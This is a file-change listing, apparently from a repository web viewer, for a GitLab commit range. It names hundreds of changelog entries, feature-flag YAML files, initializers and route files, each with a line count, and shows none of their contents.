-rw-r--r--changelogs/unreleased/285103-serialize-admin-users.yml5
-rw-r--r--changelogs/unreleased/287724-disable-name-prometheus.yml5
-rw-r--r--changelogs/unreleased/287777-fj-enable-default-usage_data_i_snippets_show-flag.yml5
-rw-r--r--changelogs/unreleased/288017-rename-cycle-analytics-with-value-stream-analytics-in-strings-unde.yml5
-rw-r--r--changelogs/unreleased/288312-editor-lite-extension-options.yml5
-rw-r--r--changelogs/unreleased/288823-rename-cycle_analytics_-variable-for-ci-with-vsa_.yml5
-rw-r--r--changelogs/unreleased/288944-move-users-show-json.yml5
-rw-r--r--changelogs/unreleased/289911-feature-flag-rollout-of-group_members_filtered_search.yml5
-rw-r--r--changelogs/unreleased/290113-feature-flag-rollout-of-vue_2fa_recovery_codes.yml5
-rw-r--r--changelogs/unreleased/290288-add-sha-to-composer.yml5
-rw-r--r--changelogs/unreleased/290597-segmented-control-in-file-header-for-markdown-files-does-not-have-.yml5
-rw-r--r--changelogs/unreleased/290709-profile-dropdown-still-says-edit-status-after-clearing-user-status.yml5
-rw-r--r--changelogs/unreleased/290762-move-the-action-from-profiles-gpgkeyscontroller-get_keys-to-usersc.yml5
-rw-r--r--changelogs/unreleased/291078-fix-typo-merge-locally.yml5
-rw-r--r--changelogs/unreleased/292210-hide-extra-breadcrumb-arrow.yml5
-rw-r--r--changelogs/unreleased/292466-add-hidebackloglist-and-hideclosedlist-to-createboard-mutation-inp.yml5
-rw-r--r--changelogs/unreleased/292987-group-member-with-minimal-access-missing-from-api-groups-id-member.yml5
-rw-r--r--changelogs/unreleased/293008-opsgenie-form-bug.yml5
-rw-r--r--changelogs/unreleased/293024-fix-httparty-basic-auth.yml5
-rw-r--r--changelogs/unreleased/293629-add-expires_at-param-to-groupmemberbuilder-data.yml5
-rw-r--r--changelogs/unreleased/293685-many-environments-strategies-break-the-row.yml5
-rw-r--r--changelogs/unreleased/293866-ide_controller_spec.yml5
-rw-r--r--changelogs/unreleased/293960-no-boards-found-message-showing-when-loading-boards.yml5
-rw-r--r--changelogs/unreleased/31528-index-cleanup.yml5
-rw-r--r--changelogs/unreleased/37797-jenkins-to-core.yml5
-rw-r--r--changelogs/unreleased/37947-skipped-deployments.yml5
-rw-r--r--changelogs/unreleased/38673-CI_HAS_OPEN_MERGE_REQUEST.yml5
-rw-r--r--changelogs/unreleased/44933-fix-unreachable-cli-image-openshift-ci-template.yml5
-rw-r--r--changelogs/unreleased/47131-preserve-anchor-ids.yml5
-rw-r--r--changelogs/unreleased/9421-clone-quickaction-metrics.yml5
-rw-r--r--changelogs/unreleased/9421-clone-quickaction-notifications.yml5
-rw-r--r--changelogs/unreleased/9421-clone-quickaction.yml5
-rw-r--r--changelogs/unreleased/9421-clone_with_notes-quickaction.yml6
-rw-r--r--changelogs/unreleased/9421-fix-author.yml5
-rw-r--r--changelogs/unreleased/Migrate-Bootstrap-dropdown-to-GitLab-UI-GlDropdown-in-app-assets-javascri.yml5
-rw-r--r--changelogs/unreleased/Replace-GlDeprecatedDropdown-with-GlDropdown-in-app-assets-javascripts-bo.yml5
-rw-r--r--changelogs/unreleased/Updating-editor-mode-dropdown-ab.yml5
-rw-r--r--changelogs/unreleased/ab-ci-ref-index.yml5
-rw-r--r--changelogs/unreleased/ab-reindex-functional-analyze.yml5
-rw-r--r--changelogs/unreleased/ab-reindex-heuristic.yml5
-rw-r--r--changelogs/unreleased/ab-track-bloat.yml5
-rw-r--r--changelogs/unreleased/add-be-for-scoping-issue-boards-to-current-iteration.yml5
-rw-r--r--changelogs/unreleased/add-domain-type-to-alerts.yml5
-rw-r--r--changelogs/unreleased/add-forked-pipeline-indicator.yml5
-rw-r--r--changelogs/unreleased/add-gitlab-db-active-task.yml5
-rw-r--r--changelogs/unreleased/add-limits-for-deployments-per-pipeline.yml5
-rw-r--r--changelogs/unreleased/add-mean-time-to-merge-be.yml5
-rw-r--r--changelogs/unreleased/add-option-to-remove-legacy-tiller-server.yml5
-rw-r--r--changelogs/unreleased/add-project-setting-to-edit-commit-messages.yml5
-rw-r--r--changelogs/unreleased/add-public-email-to-graphql-user.yml5
-rw-r--r--changelogs/unreleased/add-retry-after-header-rackattack.yml5
-rw-r--r--changelogs/unreleased/add-sidekiq-dead-job-metrics.yml5
-rw-r--r--changelogs/unreleased/add_design_to_git_transfer_in_progress.yml6
-rw-r--r--changelogs/unreleased/ajk-catch-wiki-timeouts.yml5
-rw-r--r--changelogs/unreleased/ajk-gql-reviewer-merge-requests.yml5
-rw-r--r--changelogs/unreleased/ajk-graphql-user-location.yml5
-rw-r--r--changelogs/unreleased/ajk-mark-as-spam.yml5
-rw-r--r--changelogs/unreleased/ajk-quality-triage-ops-532.yml5
-rw-r--r--changelogs/unreleased/ak-add-index-on-builds.yml5
-rw-r--r--changelogs/unreleased/al-273258-auto-approve-users-when-require-admin-approval-disabled.yml5
-rw-r--r--changelogs/unreleased/alert-settings-form-json-bug.yml6
-rw-r--r--changelogs/unreleased/alexives-287763-fix_performance_of_snippet_repository_queries.yml5
-rw-r--r--changelogs/unreleased/allow-failure-for-secret-detection.yml5
-rw-r--r--changelogs/unreleased/allow-filtering-by-member-relations-in-graphql.yml5
-rw-r--r--changelogs/unreleased/am-modifying-files-rb-to-retry-on-rsync-error.yml5
-rw-r--r--changelogs/unreleased/api-support-for-deployment-frequency.yml5
-rw-r--r--changelogs/unreleased/ash2k-kas-13-7-0.yml5
-rw-r--r--changelogs/unreleased/authorize_same_project_agent.yml5
-rw-r--r--changelogs/unreleased/bulk_project_move_api.yml5
-rw-r--r--changelogs/unreleased/bump-managed-cluster-apps-v0-36-0.yml5
-rw-r--r--changelogs/unreleased/bump-workhorse-8-56-0.yml5
-rw-r--r--changelogs/unreleased/cablett-247867-epics-relative-position.yml5
-rw-r--r--changelogs/unreleased/cat-fix-nplus1-solo-owned-groups.yml5
-rw-r--r--changelogs/unreleased/cat-remove-user-secondary-email-ff.yml5
-rw-r--r--changelogs/unreleased/cat-user-search-secondary-emails.yml5
-rw-r--r--changelogs/unreleased/change_default_project_sort.yml5
-rw-r--r--changelogs/unreleased/change_unique_index_on_security_findings.yml5
-rw-r--r--changelogs/unreleased/chore-disable-admin-mode-in-features.yml5
-rw-r--r--changelogs/unreleased/chore-disable-admin-mode-in-requests-views.yml5
-rw-r--r--changelogs/unreleased/ck3g-add-custom-mapping-columns-to-http-integrations.yml6
-rw-r--r--changelogs/unreleased/cleanup-invitation-reminders-experiment.yml5
-rw-r--r--changelogs/unreleased/cngo-add-issue-header-mobile-dropdown-loading-state.yml5
-rw-r--r--changelogs/unreleased/create-devops-adoption-measurements.yml5
-rw-r--r--changelogs/unreleased/custom-emoji-name-validation.yml5
-rw-r--r--changelogs/unreleased/dblessing_scim_provisioned_user.yml5
-rw-r--r--changelogs/unreleased/dblessing_unconfirmed_user_profile.yml5
-rw-r--r--changelogs/unreleased/defect-jump-to-next-overscroll.yml5
-rw-r--r--changelogs/unreleased/defect-resolve-all-scroll-height.yml5
-rw-r--r--changelogs/unreleased/delete_mock_deployment_records.yml5
-rw-r--r--changelogs/unreleased/dennis-update-new-project-ui-experiment.yml5
-rw-r--r--changelogs/unreleased/djensen-improve-differentiation-in-ip-rate-limit-ui.yml5
-rw-r--r--changelogs/unreleased/docs-new-mr-diff-ci-variables.yml5
-rw-r--r--changelogs/unreleased/docs-remove-references-to-cross-project-pipeline-source.yml5
-rw-r--r--changelogs/unreleased/dont_crash_whole_background_job.yml6
-rw-r--r--changelogs/unreleased/dreedy-iterate-on-novice-or-experienced-copy-during-onboarding.yml6
-rw-r--r--changelogs/unreleased/duplicate_autocomplete_suggestions.yml5
-rw-r--r--changelogs/unreleased/eb-cobertura-background-fix.yml5
-rw-r--r--changelogs/unreleased/eb-track-failures-on-pipeline-complete.yml5
-rw-r--r--changelogs/unreleased/eb-use-code-quality-0-85-18-gitlab-1.yml5
-rw-r--r--changelogs/unreleased/emilyring-terraform-pipeline.yml5
-rw-r--r--changelogs/unreleased/enable-ci-cross-pipeline-artifacts-download.yml5
-rw-r--r--changelogs/unreleased/enable-new_project_level_vsa_backend-by-default.yml5
-rw-r--r--changelogs/unreleased/epic_boards.yml5
-rw-r--r--changelogs/unreleased/eread-migrate-awards-list-buttons.yml5
-rw-r--r--changelogs/unreleased/error_when_not_licensed_273719.yml5
-rw-r--r--changelogs/unreleased/expose-upcoming-deployment.yml5
-rw-r--r--changelogs/unreleased/fe-design0view-usage-ping.yml5
-rw-r--r--changelogs/unreleased/feat-add-packages_size-to-project-statistics.yml5
-rw-r--r--changelogs/unreleased/feat-token-prefix.yml5
-rw-r--r--changelogs/unreleased/feature-gb-build-trace-malformed-size-metric.yml5
-rw-r--r--changelogs/unreleased/feature-git-crowd-auth.yml5
-rw-r--r--changelogs/unreleased/feature-mr-file-by-file.yml5
-rw-r--r--changelogs/unreleased/ff-remove-env-reactive-cache-ff.yml6
-rw-r--r--changelogs/unreleased/file_type_filter_admin_appearance.yml5
-rw-r--r--changelogs/unreleased/filter-by-monitoring-tool.yml5
-rw-r--r--changelogs/unreleased/fix-default-category-for-dropdowns-gitlab-ui-integration-test.yml5
-rw-r--r--changelogs/unreleased/fix-feature-api-logging.yml5
-rw-r--r--changelogs/unreleased/fix-jira-connect-jquery-code.yml5
-rw-r--r--changelogs/unreleased/fix-job-trace-polling-bug.yml5
-rw-r--r--changelogs/unreleased/fix-misaligned-job-buttons-24395.yml5
-rw-r--r--changelogs/unreleased/fix-mr-buttons-for-deleted-fork.yml5
-rw-r--r--changelogs/unreleased/fix-no-stats-in-vsa.yml5
-rw-r--r--changelogs/unreleased/fix-profile-avatar-size.yml5
-rw-r--r--changelogs/unreleased/fix_security_finding_deduplication_logic.yml5
-rw-r--r--changelogs/unreleased/fj-disallow-empty-strings-in-default-branch.yml5
-rw-r--r--changelogs/unreleased/fj-fix-bug-project-repository-storage-move.yml5
-rw-r--r--changelogs/unreleased/frontend-validate-only-active-project-services.yml5
-rw-r--r--changelogs/unreleased/fuzz-license-check-to-pre.yml5
-rw-r--r--changelogs/unreleased/georgekoltsov-add-attribute-cleaner-transformer.yml5
-rw-r--r--changelogs/unreleased/georgekoltsov-bulk-import-failures.yml6
-rw-r--r--changelogs/unreleased/georgekoltsov-github-importer-pagination.yml5
-rw-r--r--changelogs/unreleased/georgekoltsov-group-import-capture-subgroup-creation-failure.yml5
-rw-r--r--changelogs/unreleased/georgekoltsov-truncate-last-error-group-import.yml5
-rw-r--r--changelogs/unreleased/georgekoltsov-update-project-imported-usage-ping.yml5
-rw-r--r--changelogs/unreleased/gpg-keys-publicly-accessible.yml5
-rw-r--r--changelogs/unreleased/group-member-webhook-column.yml5
-rw-r--r--changelogs/unreleased/gy-sample-data-rework.yml5
-rw-r--r--changelogs/unreleased/hide-open-registration-callout-on-gitlab-com.yml5
-rw-r--r--changelogs/unreleased/id-bump-gitlab-shell-version.yml5
-rw-r--r--changelogs/unreleased/id-optimize-branches-overview.yml5
-rw-r--r--changelogs/unreleased/id-remove-gitaly-request-from-project-show.yml5
-rw-r--r--changelogs/unreleased/id-use-gitaly-for-first-page-of-branches.yml5
-rw-r--r--changelogs/unreleased/improve-feature-flag-logging.yml5
-rw-r--r--changelogs/unreleased/include-actual-limit-in-pipeline-errors.yml5
-rw-r--r--changelogs/unreleased/integrations-page-cleanup.yml5
-rw-r--r--changelogs/unreleased/introduce-auto-rollback-service.yml5
-rw-r--r--changelogs/unreleased/issue-277325.yml5
-rw-r--r--changelogs/unreleased/issue-link-dates.yml5
-rw-r--r--changelogs/unreleased/issue_258973.yml5
-rw-r--r--changelogs/unreleased/jdb-fix-comment-highlighting-unified-components.yml5
-rw-r--r--changelogs/unreleased/jdb-fix-copy-to-clipboard-ff.yml5
-rw-r--r--changelogs/unreleased/jdb-fix-jupyter-notebooks-rendering.yml5
-rw-r--r--changelogs/unreleased/jimcser-master-patch-94937.yml5
-rw-r--r--changelogs/unreleased/jivanvl-migrate-analytics-graphql-be.yml5
-rw-r--r--changelogs/unreleased/jj-add-gitlab-experiment.yml5
-rw-r--r--changelogs/unreleased/js-add_feed_token_spec.yml5
-rw-r--r--changelogs/unreleased/js-disable_feed_token.yml5
-rw-r--r--changelogs/unreleased/jsl-snippet-fix.yml5
-rw-r--r--changelogs/unreleased/justin_ho-fix-confirmation-modal-showing-on-project-integrations.yml5
-rw-r--r--changelogs/unreleased/jv-rack-attack-user-bypass.yml5
-rw-r--r--changelogs/unreleased/jv-rake-workhorse-vendored.yml5
-rw-r--r--changelogs/unreleased/kassio-add-github-merged-by.yml5
-rw-r--r--changelogs/unreleased/kassio-avoid-invalid-notes-when-importing-a-project.yml5
-rw-r--r--changelogs/unreleased/kassio-diff-note-avoid-exception-when-validating-style.yml5
-rw-r--r--changelogs/unreleased/kassio-github-import-review-comments.yml5
-rw-r--r--changelogs/unreleased/kassio-github-importer-avoid-touch-mr-when-importing-merged-by.yml5
-rw-r--r--changelogs/unreleased/ldap-encrypted-usage-data.yml5
-rw-r--r--changelogs/unreleased/ldap-secret-command.yml5
-rw-r--r--changelogs/unreleased/lm-add-ci-config-0.yml5
-rw-r--r--changelogs/unreleased/make-import-issues-csv-worker-idempotent.yml5
-rw-r--r--changelogs/unreleased/mjang-update-naming-topics-avatar-ui-text.yml5
-rw-r--r--changelogs/unreleased/mjang-ux-MR-approvals-text.yml5
-rw-r--r--changelogs/unreleased/mk-add-verification-state-machine.yml5
-rw-r--r--changelogs/unreleased/mk-fix-bad-request-helper.yml5
-rw-r--r--changelogs/unreleased/mk-geo-primary-backfills-checksums.yml5
-rw-r--r--changelogs/unreleased/mk-remove-unused-indexes.yml5
-rw-r--r--changelogs/unreleased/mo-enable-code-coverage-overall-activity.yml5
-rw-r--r--changelogs/unreleased/move-profiles-keys-get-keys-to-users.yml5
-rw-r--r--changelogs/unreleased/mw-convert-fa-caret-down-to-svg.yml5
-rw-r--r--changelogs/unreleased/mw-replace-fa-chevron-down-in-pikaday.yml5
-rw-r--r--changelogs/unreleased/mw-replace-fa-chevron-down-in-template-selectors.yml5
-rw-r--r--changelogs/unreleased/mw-replace-fa-chevron-dropdown-in-users-select.yml5
-rw-r--r--changelogs/unreleased/mw-replace-fa-chevron-in-file-header-diff.yml5
-rw-r--r--changelogs/unreleased/mw-replace-fa-circle-in-runners-helper.yml5
-rw-r--r--changelogs/unreleased/mw-replace-spinner-in-metrics-dashboard-yml-loading.yml5
-rw-r--r--changelogs/unreleased/mw-wiki-page-specific-css.yml5
-rw-r--r--changelogs/unreleased/mwaw-267550-product_analytics_aggregated_metrics-rollout.yml5
-rw-r--r--changelogs/unreleased/nfriend-add-deployment-status-to-environments-page.yml5
-rw-r--r--changelogs/unreleased/nfriend-add-release-delete-mutation.yml5
-rw-r--r--changelogs/unreleased/nfriend-add-release-update-mutation.yml5
-rw-r--r--changelogs/unreleased/nfriend-remove-release-notes-from-tags-page.yml5
-rw-r--r--changelogs/unreleased/nicolasdular-namespace-onboarding-actions-table.yml5
-rw-r--r--changelogs/unreleased/no-findcommit-for-raw-endpoints.yml5
-rw-r--r--changelogs/unreleased/ntepluhina-fix-swimlanes-on-edit-board.yml5
-rw-r--r--changelogs/unreleased/pages-1-32.yml5
-rw-r--r--changelogs/unreleased/pages-version-v1-31-0.yml5
-rw-r--r--changelogs/unreleased/pass-commit-id-to-MR-discussion.yml5
-rw-r--r--changelogs/unreleased/ph-225961-changeImageDiffBadgesPositionToPercent.yml5
-rw-r--r--changelogs/unreleased/ph-diffsGradualLoadDefaultEnabled.yml5
-rw-r--r--changelogs/unreleased/psi-dark-pipelines.yml5
-rw-r--r--changelogs/unreleased/psi-darker-mode.yml5
-rw-r--r--changelogs/unreleased/reduce-commit-collection-object-allocations.yml5
-rw-r--r--changelogs/unreleased/reference-cs-image-in-template.yml5
-rw-r--r--changelogs/unreleased/remember_project_ordering.yml5
-rw-r--r--changelogs/unreleased/remove-ff-ci-root-ancestor-for-pipeline-family.yml5
-rw-r--r--changelogs/unreleased/remove-legacy-burndown.yml5
-rw-r--r--changelogs/unreleased/remove_dast_unlicensed_290958.yml5
-rw-r--r--changelogs/unreleased/remove_terraform_state_verification_column_ignores.yml5
-rw-r--r--changelogs/unreleased/rename-piwik-matomo.yml5
-rw-r--r--changelogs/unreleased/save-mentions-on-markdown-columns-change.yml5
-rw-r--r--changelogs/unreleased/sdesk_by_default.yml5
-rw-r--r--changelogs/unreleased/security-restrict-access-to-jobs-that-use-ci-debug-trace.yml5
-rw-r--r--changelogs/unreleased/send-full-ref-when-running-manual-pipeline.yml5
-rw-r--r--changelogs/unreleased/sh-allow-pages-to-use-storage-specific-settings.yml5
-rw-r--r--changelogs/unreleased/sh-avoid-build-hooks-data.yml5
-rw-r--r--changelogs/unreleased/sh-aws-sdk-use-iam-profile.yml5
-rw-r--r--changelogs/unreleased/sh-eks-error-feedback.yml5
-rw-r--r--changelogs/unreleased/sh-export-csv-service-nplus-one.yml5
-rw-r--r--changelogs/unreleased/sh-fail-import-errors.yml5
-rw-r--r--changelogs/unreleased/sh-fix-github-lfs-import.yml5
-rw-r--r--changelogs/unreleased/sh-fix-release-markdown.yml5
-rw-r--r--changelogs/unreleased/sh-handle-zero-maximum-upload-size.yml5
-rw-r--r--changelogs/unreleased/sh-lfs-chunked-encoding-default.yml5
-rw-r--r--changelogs/unreleased/sh-lfs-chunked-encoding.yml5
-rw-r--r--changelogs/unreleased/sh-support-sse-encryption-ci-live-trace.yml5
-rw-r--r--changelogs/unreleased/sh-update-fog-3-7-0.yml5
-rw-r--r--changelogs/unreleased/sh-update-fog-aws.yml5
-rw-r--r--changelogs/unreleased/sh-update-fog-google.yml5
-rw-r--r--changelogs/unreleased/sh-update-repo-size-after-import.yml5
-rw-r--r--changelogs/unreleased/sh-update-workhorse-8-58-0.yml5
-rw-r--r--changelogs/unreleased/sh-upgrade-mailroom-0-0-8.yml5
-rw-r--r--changelogs/unreleased/speed-up-label-query-for-optimized-issuable-finders.yml5
-rw-r--r--changelogs/unreleased/ss-add-error-state-for-assignees.yml5
-rw-r--r--changelogs/unreleased/ss-add-loading-state-to-assignee-header.yml5
-rw-r--r--changelogs/unreleased/ss-add-loading-to-assignees.yml5
-rw-r--r--changelogs/unreleased/ss-assign-self.yml5
-rw-r--r--changelogs/unreleased/ss-related-issues-autocomplete.yml5
-rw-r--r--changelogs/unreleased/standardize-page-title-bottom-margin-styling.yml5
-rw-r--r--changelogs/unreleased/switch_diff_check_with_paths_changed_rpc_flag_on.yml5
-rw-r--r--changelogs/unreleased/sy-add-alert-mau-aggrgation.yml5
-rw-r--r--changelogs/unreleased/sy-allow-to-unlabel-incidents.yml5
-rw-r--r--changelogs/unreleased/sy-ensure-alerts-viewable-if-present.yml6
-rw-r--r--changelogs/unreleased/sy-process-prometheus-alerts-through-http-integrations.yml5
-rw-r--r--changelogs/unreleased/tle-fix-button-spacing-on-pipeline-page.yml5
-rw-r--r--changelogs/unreleased/tr-update-issue-to-incident.yml5
-rw-r--r--changelogs/unreleased/truncate_security_findings_table.yml5
-rw-r--r--changelogs/unreleased/tz-reduce-last-commit-cls.yml5
-rw-r--r--changelogs/unreleased/update-copy-on-user-lists-empty-state.yml5
-rw-r--r--changelogs/unreleased/update-gitlab-runner-helm-chart-to-0-23-0.yml5
-rw-r--r--changelogs/unreleased/update-internal-ids-last-value-for-epics.yml5
-rw-r--r--changelogs/unreleased/update-terraform-versioning-default.yml5
-rw-r--r--changelogs/unreleased/update_gitaly_gem_13_6_1.yml5
-rw-r--r--changelogs/unreleased/use-json-pretty_generate_in_usage_data_rake_tasks.yml5
-rw-r--r--changelogs/unreleased/winniehell-master-patch-82844.yml5
-rw-r--r--changelogs/unreleased/xanf-import-one-group-frontend.yml5
-rw-r--r--config/application.rb10
-rw-r--r--config/feature_categories.yml18
-rw-r--r--config/feature_flags/development/add_issues_button.yml8
-rw-r--r--config/feature_flags/development/allow_editing_commit_messages.yml8
-rw-r--r--config/feature_flags/development/allow_possible_spam.yml4
-rw-r--r--config/feature_flags/development/boards_with_swimlanes.yml8
-rw-r--r--config/feature_flags/development/branch_list_keyset_pagination.yml4
-rw-r--r--config/feature_flags/development/bulk_update_health_status.yml8
-rw-r--r--config/feature_flags/development/burnup_charts.yml8
-rw-r--r--config/feature_flags/development/caching_experiments.yml8
-rw-r--r--config/feature_flags/development/cd_auto_rollback.yml8
-rw-r--r--config/feature_flags/development/cd_skipped_deployment_status.yml7
-rw-r--r--config/feature_flags/development/ci_allow_failure_with_exit_codes.yml8
-rw-r--r--config/feature_flags/development/ci_auto_cancel_all_pipelines.yml2
-rw-r--r--config/feature_flags/development/ci_bridge_dependency_variables.yml2
-rw-r--r--config/feature_flags/development/ci_config_visualization_tab.yml8
-rw-r--r--config/feature_flags/development/ci_cross_pipeline_artifacts_download.yml8
-rw-r--r--config/feature_flags/development/ci_job_line_links.yml8
-rw-r--r--config/feature_flags/development/ci_live_trace_use_fog_attributes.yml8
-rw-r--r--config/feature_flags/development/ci_manual_bridges.yml8
-rw-r--r--config/feature_flags/development/ci_pipeline_open_merge_requests.yml7
-rw-r--r--config/feature_flags/development/ci_pipelines_for_merge_request_finder_new_cte.yml8
-rw-r--r--config/feature_flags/development/ci_rules_variables.yml8
-rw-r--r--config/feature_flags/development/ci_variable_expansion_in_rules_changes.yml7
-rw-r--r--config/feature_flags/development/core_security_mr_widget_counts.yml8
-rw-r--r--config/feature_flags/development/core_security_mr_widget_downloads.yml8
-rw-r--r--config/feature_flags/development/count_uploads_size_in_storage_stats.yml8
-rw-r--r--config/feature_flags/development/datadog_ci_integration.yml7
-rw-r--r--config/feature_flags/development/default_merge_ref_for_diffs.yml2
-rw-r--r--config/feature_flags/development/dependency_proxy_for_private_groups.yml8
-rw-r--r--config/feature_flags/development/devops_adoption_feature.yml2
-rw-r--r--config/feature_flags/development/diff_check_with_paths_changed_rpc.yml8
-rw-r--r--config/feature_flags/development/diffs_gradual_load.yml8
-rw-r--r--config/feature_flags/development/disable_metric_dashboard_refresh_rate.yml2
-rw-r--r--config/feature_flags/development/display_merge_conflicts_in_diff.yml2
-rw-r--r--config/feature_flags/development/environment_auto_stop_start_on_create.yml8
-rw-r--r--config/feature_flags/development/feature_flags_new_version.yml8
-rw-r--r--config/feature_flags/development/forti_token_cloud.yml8
-rw-r--r--config/feature_flags/development/geo_snippet_repository_replication.yml2
-rw-r--r--config/feature_flags/development/gitaly_go_user_merge_branch.yml8
-rw-r--r--config/feature_flags/development/github_import_pull_request_reviews.yml8
-rw-r--r--config/feature_flags/development/gitlab_ci_yml_preview.yml8
-rw-r--r--config/feature_flags/development/gitlab_experiments.yml8
-rw-r--r--config/feature_flags/development/graphql_board_lists.yml2
-rw-r--r--config/feature_flags/development/graphql_pipeline_analytics.yml8
-rw-r--r--config/feature_flags/development/group_ci_cd_analytics_page.yml8
-rw-r--r--config/feature_flags/development/group_level_integrations.yml8
-rw-r--r--config/feature_flags/development/group_members_filtered_search.yml8
-rw-r--r--config/feature_flags/development/hide_jump_to_next_unresolved_in_threads.yml2
-rw-r--r--config/feature_flags/development/highlight_current_diff_row.yml8
-rw-r--r--config/feature_flags/development/http_integrations_list.yml8
-rw-r--r--config/feature_flags/development/import_requirements_csv.yml8
-rw-r--r--config/feature_flags/development/increased_diff_limits.yml2
-rw-r--r--config/feature_flags/development/jira_sync_builds.yml8
-rw-r--r--config/feature_flags/development/lfs_chunked_encoding.yml8
-rw-r--r--config/feature_flags/development/merge_ref_auto_sync.yml2
-rw-r--r--config/feature_flags/development/merge_ref_auto_sync_lock.yml2
-rw-r--r--config/feature_flags/development/merge_request_cached_pipeline_serializer.yml2
-rw-r--r--config/feature_flags/development/merge_request_draft_filter.yml2
-rw-r--r--config/feature_flags/development/merge_request_reviewers.yml4
-rw-r--r--config/feature_flags/development/merge_request_widget_graphql.yml4
-rw-r--r--config/feature_flags/development/metrics_dashboard.yml2
-rw-r--r--config/feature_flags/development/mr_collapsed_approval_rules.yml8
-rw-r--r--config/feature_flags/development/mr_commit_neighbor_nav.yml2
-rw-r--r--config/feature_flags/development/mrc_api_use_raw_diffs_from_gitaly.yml2
-rw-r--r--config/feature_flags/development/multiline_comments.yml2
-rw-r--r--config/feature_flags/development/multiple_http_integrations_custom_mapping.yml2
-rw-r--r--config/feature_flags/development/new_pipeline_form_prefilled_vars.yml2
-rw-r--r--config/feature_flags/development/new_project_level_vsa_backend.yml8
-rw-r--r--config/feature_flags/development/operations.yml8
-rw-r--r--config/feature_flags/development/pages_serve_from_artifacts_archive.yml8
-rw-r--r--config/feature_flags/development/pages_serve_from_deployments.yml2
-rw-r--r--config/feature_flags/development/pages_use_legacy_storage_lease.yml8
-rw-r--r--config/feature_flags/development/paginated_notes.yml2
-rw-r--r--config/feature_flags/development/performance_bar_stats.yml8
-rw-r--r--config/feature_flags/development/pg_hint_plan_for_issuables.yml8
-rw-r--r--config/feature_flags/development/postgres_hll_batch_counting.yml8
-rw-r--r--config/feature_flags/development/product_analytics_aggregated_metrics.yml8
-rw-r--r--config/feature_flags/development/prometheus_computed_alerts.yml2
-rw-r--r--config/feature_flags/development/push_rules_supersede_code_owners.yml2
-rw-r--r--config/feature_flags/development/reactive_caching_limit_environment.yml8
-rw-r--r--config/feature_flags/development/remove_resolve_note.yml2
-rw-r--r--config/feature_flags/development/reset_integrations.yml8
-rw-r--r--config/feature_flags/development/restrict_access_to_build_debug_mode.yml8
-rw-r--r--config/feature_flags/development/reviewer_approval_rules.yml8
-rw-r--r--config/feature_flags/development/saas_add_seats_button.yml8
-rw-r--r--config/feature_flags/development/saml_group_links.yml2
-rw-r--r--config/feature_flags/development/save_raw_usage_data.yml8
-rw-r--r--config/feature_flags/development/security_dast_site_profiles_additional_fields.yml8
-rw-r--r--config/feature_flags/development/security_on_demand_scans_http_header_validation.yml8
-rw-r--r--config/feature_flags/development/service_desk_custom_address.yml8
-rw-r--r--config/feature_flags/development/settings_operations_prometheus_service.yml2
-rw-r--r--config/feature_flags/development/smart_cobertura_parser.yml8
-rw-r--r--config/feature_flags/development/sort_diffs.yml8
-rw-r--r--config/feature_flags/development/squash_options.yml2
-rw-r--r--config/feature_flags/development/suggest_pipeline.yml8
-rw-r--r--config/feature_flags/development/unified_diff_components.yml2
-rw-r--r--config/feature_flags/development/unified_diff_lines.yml8
-rw-r--r--config/feature_flags/development/usage_data_a_compliance_audit_events_api.yml2
-rw-r--r--config/feature_flags/development/usage_data_design_action.yml8
-rw-r--r--config/feature_flags/development/usage_data_g_compliance_dashboard.yml8
-rw-r--r--config/feature_flags/development/usage_data_i_snippets_show.yml8
-rw-r--r--config/feature_flags/development/usage_data_i_source_code_code_intelligence.yml2
-rw-r--r--config/feature_flags/development/usage_data_incident_management_alert_assigned.yml2
-rw-r--r--config/feature_flags/development/usage_data_incident_management_alert_create_incident.yml8
-rw-r--r--config/feature_flags/development/usage_data_incident_management_alert_status_changed.yml2
-rw-r--r--config/feature_flags/development/usage_data_incident_management_alert_todo.yml2
-rw-r--r--config/feature_flags/development/usage_data_incident_management_alerts_total_unique_counts.yml8
-rw-r--r--config/feature_flags/development/usage_data_incident_management_incident_assigned.yml2
-rw-r--r--config/feature_flags/development/usage_data_incident_management_incident_change_confidential.yml2
-rw-r--r--config/feature_flags/development/usage_data_incident_management_incident_closed.yml2
-rw-r--r--config/feature_flags/development/usage_data_incident_management_incident_comment.yml2
-rw-r--r--config/feature_flags/development/usage_data_incident_management_incident_created.yml2
-rw-r--r--config/feature_flags/development/usage_data_incident_management_incident_relate.yml2
-rw-r--r--config/feature_flags/development/usage_data_incident_management_incident_reopened.yml2
-rw-r--r--config/feature_flags/development/usage_data_incident_management_incident_todo.yml2
-rw-r--r--config/feature_flags/development/usage_data_incident_management_incident_unrelate.yml2
-rw-r--r--config/feature_flags/development/usage_data_incident_management_incident_zoom_meeting.yml2
-rw-r--r--config/feature_flags/development/usage_data_incident_management_incidents_total_unique_counts.yml8
-rw-r--r--config/feature_flags/development/usage_data_static_site_editor_commits.yml8
-rw-r--r--config/feature_flags/development/usage_data_static_site_editor_merge_requests.yml8
-rw-r--r--config/feature_flags/development/user_other_role_details.yml8
-rw-r--r--config/feature_flags/development/view_diffs_file_by_file.yml8
-rw-r--r--config/feature_flags/development/vue_2fa_recovery_codes.yml8
-rw-r--r--config/feature_flags/development/vue_admin_users.yml8
-rw-r--r--config/feature_flags/development/vue_issue_header.yml8
-rw-r--r--config/feature_flags/development/vueify_shared_runners_toggle.yml8
-rw-r--r--config/feature_flags/development/widget_visibility_polling.yml2
-rw-r--r--config/feature_flags/development/zip_pages_deployments.yml8
-rw-r--r--config/feature_flags/experiment/null_hypothesis.yml7
-rw-r--r--config/feature_flags/ops/product_analytics_tracking.yml8
-rw-r--r--config/gitlab.yml.example28
-rw-r--r--config/initializers/01_secret_token.rb3
-rw-r--r--config/initializers/1_settings.rb28
-rw-r--r--config/initializers/active_record_ping.rb5
-rw-r--r--config/initializers/active_record_table_definition.rb4
-rw-r--r--config/initializers/gitlab_experiment.rb6
-rw-r--r--config/initializers/grape_validators.rb1
-rw-r--r--config/initializers/lograge.rb2
-rw-r--r--config/initializers/rack_attack.rb190
-rw-r--r--config/initializers/rack_attack_logging.rb2
-rw-r--r--config/initializers/sidekiq.rb2
-rw-r--r--config/initializers/structure_load_in_transaction.rb9
-rw-r--r--config/initializers/zz_metrics.rb6
-rw-r--r--config/object_store_settings.rb24
-rw-r--r--config/routes/admin.rb2
-rw-r--r--config/routes/git_http.rb105
-rw-r--r--config/routes/group.rb3
-rw-r--r--config/routes/import.rb9
-rw-r--r--config/routes/merge_requests.rb1
-rw-r--r--config/routes/repository_scoped.rb1
-rw-r--r--config/routes/user.rb7
